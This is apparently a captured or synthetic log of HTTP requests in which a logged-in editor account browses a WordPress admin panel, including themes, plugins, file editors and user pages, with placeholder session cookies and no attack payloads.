{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 73", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/theme-install.php?browse=popular", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203168"], "body": "request%5Bper_page%5D=100&request%5Bbrowse%5D=popular&action=query-themes"}
{"method": "GET", "target": "/wp-admin/site-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203168"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-preferences,wp-block-editor,wp-reusable-blocks,wp-patterns,wp-media-utils,wp-edito&load%5Bchunk_1%5D=r,wp-base-styles,common,forms,wp-reset-editor-styles,wp-block-library,wp-block-editor-content,wp-edit-blocks,wp-commands,wp-edit&load%5Bchunk_2%5D=-site,wp-format-library,buttons,media-views,wp-block-directory,admin-menu,dashboard,list-tables,edit,revisions,media,themes,abou&load%5Bchunk_3%5D=t,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-tooltip,wp-auth-check&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "OPTIONS", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/nav-menus.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/widgets.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/customize.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-pointer,widgets,site-icon&load%5Bchunk_1%5D=,l10n,wp-base-styles,wp-tooltip,buttons,customize-controls,customize-nav-menus,code-editor,media-views&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,wp-hooks,underscore,wp-dom-ready&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=heartbeat,customize-base,wp-util,customize-controls,backbone,wp-backbone,accordion,wp-sanitize,customize-nav-menus,imgareaselect&load%5Bchunk_1%5D=,customize-models,shortcode,media-models,wp-plupload&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/?customize_changeset_uuid=45b3ef42-f34c-4dde-bde2-41c27b05accf&customize_theme=twentytwentyfive&customize_messenger_channel=preview-0", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/customize.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203172"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugins.php?plugin_status=inactive", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203173"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203174"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?tab=popular", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203175"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-install.php?s=contact+form&tab=search&type=term", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203178"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203180"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,code-editor,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menus,wp-poi&load%5Bchunk_1%5D=nter,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,wp-codemirror,underscore&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/plugin-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?plugin=akismet%2Fakismet.php&file=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203184"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=akismet%2Fclass.akismet.php&plugin=akismet%2Fakismet.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203185"], "body": ""}
{"method": "GET", "target": "/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203186"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203188"], "body": ""}
{"method": "GET", "target": "/wp-admin/users.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203189"], "body": ""}
{"method": "GET", "target": "/wp-admin/user-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203190"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,zxcvbn-async&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/user-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203191"], "body": ""}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203193.0920450687408447265625", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "GET", "target": "/wp-admin/profile.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203191"], "body": ""}
